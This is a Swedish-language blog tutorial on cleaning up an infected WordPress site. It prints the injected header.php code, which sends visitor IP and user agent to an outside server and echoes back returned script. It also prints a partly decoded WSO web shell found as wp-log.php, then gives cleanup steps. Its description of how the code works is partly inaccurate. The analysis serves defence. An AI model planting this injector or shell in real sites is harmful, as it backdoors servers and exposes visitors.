AVLÄGSNA WordPress PHP Virus

Denna handledning presenterar ett särskilt fall där en blogg WordPress den var infekterad. Borttagning WordPress PHP-virus.

Häromdagen märkte jag en misstänkt kod som verkar vara ett PHP-virus för WordPress. Följande PHP-kod fanns i header.php, före kön </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Det här är någon PHP-kod som ser ut att försöka hämta innehållet i en resurs från en extern server, men den del som hänvisar till URL:en är ofullständig.

Arbetsmekanismen är något mer komplex och gör detta WordPress PHP Virus osynligt för besökare på berörda webbplatser. Istället riktar den sig mot sökmotorer (Google) och leder implicit till en betydande minskning av antalet besökare på de berörda webbplatserna.

Detaljer om skadlig programvara WordPress PHP Virus

1. Ovanstående kod finns i header.php.

2. En fil dök upp på servern wp-log.php i mappen wp-includes.

3. wp-log.php innehåller en krypterad kod, men som är relativt lätt att dekryptera.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekryptera skadlig kod från wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Detta verkar vara ett skadligt PHP-skript som innehåller kod för att hantera autentisering och åtgärder på filer och kataloger på en server. Det kan ses mycket lätt att detta skript innehåller variabler som $auth_pass (autentiseringslösenord), $default_action (standardåtgärden), $default_use_ajax (med Ajax som standard) och $default_charset (standardinställning för tecken).

Uppenbarligen har det här skriptet ett avsnitt som kontrollerar HTTP-användaragenter för att blockera åtkomst till vissa webbrobotar, till exempel sökmotorer. Den har också en sektion som kontrollerar PHP-säkerhetsläget och ställer in vissa arbetskataloger.

4. Om wp-log.php nås i webbläsaren visas en webbsida med fältet inloggning. Vid första anblicken verkar det vara en filhanterare genom vilken nya filer enkelt kan laddas upp till målservern.

Hur avvirusar du en webbplats WordPress?

Den manuella de-virusprocessen innebär alltid att först upptäcka och förstå vad sårbarheten var.

1. Skapa en säkerhetskopia för hela webbplatsen. Detta måste inkludera både filerna och databasen.

2. Bestäm ungefär hur länge viruset har funnits och sök på webbservern efter modifierade eller nyskapade filer inom den ungefärliga tidsramen.

Till exempel om du vill se filerna .php skapat eller ändrat under den senaste veckan, kör kommandot på servern:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Det är en enkel metod genom vilken du kan avslöja filerna WordPress infekterade och de som innehåller skadlig kod.

3. Kontrollera filen .htaccess misstänkta direktiv. Tillståndsrader eller skriptkörning.

4. Kontrollera databasen. Det är mycket möjligt att vissa inlägg och sidor WordPress redigeras med skadlig programvara eller nya tillagda användare med roll som administrator.

5. Kontrollera skrivbehörigheterna för mappar och filer. chmod şi chown.

Rekommenderade behörigheter är: 644 för filer och 755 för kataloger.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Uppdatera alla WordPress Plugins / WordPress Themes.

Relaterat: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Dessa är "grundläggande" metoder genom vilka du kan avvirusa en webbplats/blogg WordPress. Om du har problem och behöver hjälp är kommentarsektionen öppen.

Teknikentusiast, jag skriver med glädje på StealthSettings.com sedan 2006. Jag har omfattande erfarenhet av operativsystem: macOS, Windows och Linux, samt programmeringsspråk och bloggplattformar (WordPress) och för onlinebutiker (WooCommerce, Magento, PrestaShop).

Hur man » WordPress » AVLÄGSNA WordPress PHP Virus
Lämna en kommentar